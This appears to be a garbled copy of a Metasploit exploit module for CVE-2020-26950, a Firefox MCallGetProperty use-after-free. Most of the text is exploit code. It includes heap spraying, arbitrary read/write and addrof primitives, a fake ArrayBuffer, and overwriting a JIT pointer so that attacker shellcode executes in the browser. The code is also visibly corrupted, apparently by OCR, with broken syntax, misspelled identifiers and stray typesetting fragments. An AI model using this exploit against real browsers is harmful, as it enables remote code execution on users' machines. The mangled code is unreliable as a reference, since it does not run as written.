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Firefox MCallGetProperty Write Side Effects Use-After-Free

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This Metasploit modules exploits CVE-2020-26950, a use-after-free exploit in Firefox. The MCallGetProperty opcode can be emitted with unmet assumptions resulting in an exploitable use-after-free condition. This exploit uses a somewhat novel technique of spraying ArgumentsData structures in order to construct primitives. The shellcode is forced into executable memory via the JIT compiler, and executed by writing to the JIT region pointer. This exploit does not contain a sandbox escape, so firefox must be run with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order for the shellcode to run successfully. This vulnerability affects Firefox versions prior to 82.0.3, Firefox ESR versions prior to 78.4.1, and Thunderbird versions prior to 78.4.2, however only Firefox versions up to 79 are supported as a target. Additional work may be needed to support other versions such as Firefox 82.0.1.

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<pre>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##</pre>	
class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking	
include Msf::Exploit::Remote::HttpServer::BrowserExploit	
<pre>def initialize(info = {}) super(</pre>	
update_info(info, 'Name' -> 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',	
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<pre>], 'Arch' => { ARCH X64 }, 'Platform' => {'linux', 'windows'}, 'DefaultTarget' >> 0, 'Targeta' -> { ['Automatic', {}}, }</pre>	
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}, 'DisclosureDate' => '2020-11-18' }	
end	
<pre>def create_js_shellcode shellcode = "AAAA\x00\x00\x00\x00\x00\x00\x00\x90\x90\x90</pre>	
end shellcode_js = '' for chunk in 0(shellcode.length / 8) - 1	
label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr shellcode_chunk = shellcode[chunk * 8 (chunk + 1) * 8] shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"	
end shellcode_js	
end def on_request_uri(cli, request)	
<pre>print_status("Sending *[request.uri) to *[request["User-Agent"]}") shellcode_js = create_js_shellcode jscript = <<-JS // Triggers the vulnerability function jitme(cons, interesting, i) {</pre>	
interesting.xl = 10; // Make sure the MSlots is saved	
new cons(); // Trigger the vulnerability - Reallocates the object slots // Allocate a large array on top of this previous slots location.	
let target = [0,1,2,3,4,5,4,7,8,9,10,11,12,13,14,15,15,16,17,18,19,20,21,22,3,24,25,27,28,29,30,31,32,33,34,33,56,73,88,39,04,1,42,43,44,5,46,47,48,38,50,15,52,25,55,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,188,84,85,86,87,88,99,09,19,29,39,49,99,69,79,89,90,10,101,102,103,104,105,106,1108,109,110,111,12,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,103,131,132,133,344,135,136,137,138,139,140,141,142,133,144,145,146,147,148,125,126,127,128,128,131,131,144,145,146,147,148,148,148,148,148,148,148,148,148,148	53, 54, 81, 82,
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// Avoid Elements Copy-On-Write by pushing a value target.push(1);	

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// Write the Initialized Length, Capacity, and Length to be larger than it is
// This will work when interesting == cons
interesting.x = 3.4766779039175e-310;
interesting.x0 = 3.4766779039175e-310;
                          // Return the corrupted array return target;
                // Initialises vulnerable objects
function init() {
    // arr will contain our sprayed objects
    var arr = {};
                         // We'll create one object... var cons = function() (); for(j=0; j5:12; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation) arr.push(cons);
                         // Return the array return arr;
                // Global that holds the total number of objects in our original spray array {\tt TOTAL} = 0;
                // Global that holds the target argument so it can be used later \mbox{arg}\,=\,0\,\mbox{;}
                evil = 0:
               // setup_prim - Performs recursion to get the vulnerable arguments object
// arguments[0] - Original spray array
// arguments[1] - Recursive depth counter
// arguments[2]* - Numbers to pad to the right reallocation size
function setup_prim[0]
// Rase case of our recursion
// If we have reached the end of the original spray array...
if(arguments[1] == TOTAL) {
                                     // Delete an argument to generate the RareArgumentsData pointer delete arguments[3];
                                     // Read out of bounds to the next object (sprayed objects)
// Check whether the RareArgumentsData pointer is null
if(evil[511] != 0) return arguments;
                                      \ensuremath{//} If it was null, then we return and try the next one return 0;
                         // Get the cons value
let cons = arguments[0][arguments[1]];
                         // Move the pointer (could just do cons.p481 = 481, but this is more fun) new cons();
// If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning
                        if(res != 0) return res;
                          // Otherwise, repeat the base case (delete an argument) delete arguments[3];
                         // Check if the next object has a null RareArgumentsData pointer if \{evin[511] := 0\} return arguments; // Return arguments if not
                         // Otherwise just return 0 and try the next one return 0;
                // weak_read32 - Bit-by-bit read
function weak_read32(arg, addr) {
    // Set the RareArgumentsData pointer to the address
evi1[511] = addr;
                          // Used to hold the leaked data let val = 0;
                         // Read it bit-by-bit for 32 bits
// Endianness is taken into accou
for(let i = 32; i >= 0; i--) {
    val = val << 1; // Shift
    if(arg[i] == undefined) {
       val = val | 1;
    }
                          // Return the integer return val;
                // weak_read64 - Bit-by-bit read using BigUint64Array function weak_read64(arg, addr) {
    // Set the RareArgumentsData pointer to the address
                          // Set the Karon,
evil[511] = addr;
                          // Used to hold the leaked data
val = new BigUint64Array(1);
val[0] = On;
                         // Read it bit-by-bit for 64 bits for (let i = 64; i >= 0; i--) { val(0) = val(0) << ln; if (arg(i) == undefined) { val(0) = val(0) | ln; val(0) = val(0) | ln;
                // write nan - Uses the bit-setting capability of the bitmap to create the NaN-Box function write nan(arg, addr) {  evil[511] = addr; \\ for(let i = 64 - 15; i < 64; i++) \ delete \ arg[i]; // \ Delete \ bits 49-64 \ to \ create \ Oxfife \ pointer \ box for letting the content of the conte
               // write - Write a value to an address
function write(address, value) {
   // Set the fake ArrayBuffer backing store address
   address = dhl_to_bigint(address)
   target_uint32arr[14] = parseInt(address) & Oxffffffff
   target_uint32arr[15] = parseInt(address >> 32n);
                         // Use the fake ArrayBuffer backing store to write a value to a location value = dbl_to_bigint(value); fake arrbuf[1] = parseInt(value >> 32m); fake arrbuf[0] = parseInt(value & Oxffffffffn);
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// addrof - Gets the address of a given object function addrof(arg, o) { // Set the 5th property of the arguments object arg(5) = o;
                 // Get the address of the 5th property target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)
                // Set the fake ArrayBuffer backing store to point to this location
target_uint32arr[14] = parseInt(target) & 0xfffffffff;
target_uint32arr[15] = parseInt(target >> 32n);
                 // Read the address of the object o
return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);</pre>
           // shellcode - Constant values which hold our shellcode to pop xcalc. function shellcode() {  \{shellcode\_js\} 
           // helper functions
var conv_buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(conv_buf)
var u64_buf = new Uint32Array(conv_buf);
          function dbl_to_bigint(val) {
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);</pre>
          function bigint to_dbl(val) {
    u64_buf[0] = Number(val & Oxffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
           function main() {
                let i = 0; 
// ensure the shellcode is in jit rwx memory for(i = 0;i < 0x5000; i++) shellcode();
                // The jitme function returns arrays. We'll save them, just in case let arr saved = [];
                // Get the sprayed objects
let arr = init();
 // This is our target object. Choosing one of the end ones so that there is enough time for jitme to
be compiled
let interesting = arr[arr.length - 10];
                 // Iterate over the vulnerable object array
for (i = 0; i < arr.length; i++) {
    // Run the jitme function across the array
    corr_arr = jitme(arr[i], interesting, i);</pre>
                       // Save the generated array. Never trust the garbage collector. 
 \label{eq:array} {\rm arr\_saved[i]} = {\rm corr\_arr;}
                       // Find the corrupted array
if(corr_arr.length != 491) {
    // Save it for future evil
    evil = corr_arr
    break;
               if(evil == 0) {
   print("Failure: Failed to get the corrupted array");
   return;
                print("got the corrupted array " + evil.length);
cld_rareargdat_ptr = evil[511];
print("Leaked nursery location: " + dbl to bigint(old rareargdat ptr).toString(16));
                // Check if it's the expected size value for our ArgumentsObject object
if(output == 0x1e10 || output == 0x1e20) {
    // If it is, then read the ArgumentsData pointer
    ad location = weak read66(arg, bigint to dbl(iterator + 8n));
                            // Get the pointer in ArgumentsData to RareArgumentsData
ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));
                            // ad_location + 8 points to the RareArgumentsData pointer, so this should match // We do this because after spraying arguments, there may be a few ArgumentObjects to go past if((ad_location + 8n) == ptr_in_argdat1 break;
                      // Iterate backwards
iterator = iterator - 8n;
                      // Increment counter
counter += 1;
               if(counter == 0x200) {
   print("Failure: Failed to get AD location");
   return;
                print("AD location: " + ad_location.toString(16));
                // The target Uint32Array - A large size value to:
// - Help find the object (Not many Ox00101337 values nearby!)
// - Give enough space for Oxfffff so we can fake a Nursery Cell ((ptr & Oxffffffffff00000) |
must be set to 1 to avoid crashes)
target_uint32Array(Ox101337);
  Oxfffe8
                // Read a memory address
output = weak_read32(arg, bigint_to_dbl(iterator));
                       // If we have found the right size value, we have found the Uint32Array! if(output == 0x101337) break;
                       // Check the next memory location iterator = iterator + 8n;
                       // Increment the counter counter += 1;
                if(counter == 0x5000) {
   print("Failure: Failed to find the Uint32Array");
   return;
                 // Subtract from the size value address to get to the start of the Uint32Array
arr buf addr = iterator - 40n;
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// Get the Array Buffer backing store
arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));
print("AB Location: " + arr_buf_loc.toString(16));
                              // Create a fake ArrayBuffer through cloning
iterator = arr_buf_addr;
for(i-0):fc6f;i+1: |
comput = weak_read32(arg, bigint_to_dbl(iterator));
target_uint32arr[i] = output;
iterator = iterator + 4n;
                                // Cell Header - Set it to Nursery to pass isNursery()
target_uint32arr[0x3fffa] = 1;
                                // Write an unboxed pointer to arguments[0]
evi1[512] = bigint_to_dbl(arr_buf_loc);
                                // Make it NaN-Boxed write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]
                              // From here we have a fake UintArray in arg[0]
// Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]
fake_arrbir = arg[0];
                              // Get the address of the shellcode function object
shellcode addr = addrof(arg, shellcode);
print("Function is at: " + shellcode_addr.toString(16));
// Get the jiIInfo pointer in the JSFunction object
jiIinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); //
JSFunction.u.native.extra.jiIInfo
print(" jiIinfo: " + jiIinfo.toString(16));
                              // We can then fetch the RX region from here
rx_region = weak_read64(arg, bigint to_dbl(jtinfo));
print(" RX Region: " + rx_region.toString(16));
                              iterator = rx_region; // Start from the RX region
found = false
// Iterate to find the Ox41414141 value in-memory. 8 bytes after this is the start of the shellcode.
for(i = 0; i < Ox800; i++) {
    data = weak read66(atg, bigint_to_db)(iterator));
    if(data == Ox41414141);
    iterator = iterator + 8n;
    found = true;
    }
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                                             iterator = iterator + 8n;
                              }
if(!found) {
   print("Failure: Failed to find the JIT start");
   return;
                             // We now have a pointer to the start of the shellcode
shellcode location = iterator;
print("Shellcode start: " + shellcode_location.toString(16));
                                // And can now overwrite the previous jitInfo pointer with our shellcode pointer write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));
                              print("Triggering...");
shellcode(); // Triggering our shellcode is as simple as calling the function again.
           )
main();
JS
           jscript = add_debug_print_js(jscript)
html = %(
         send_response(cli, html, {
   'Content-Type' => 'text/html',
   'Cache-Control' => 'no-cache, no-store, must-revalidate',
   'Pragma' => 'no-cache', 'Expires' => '0'
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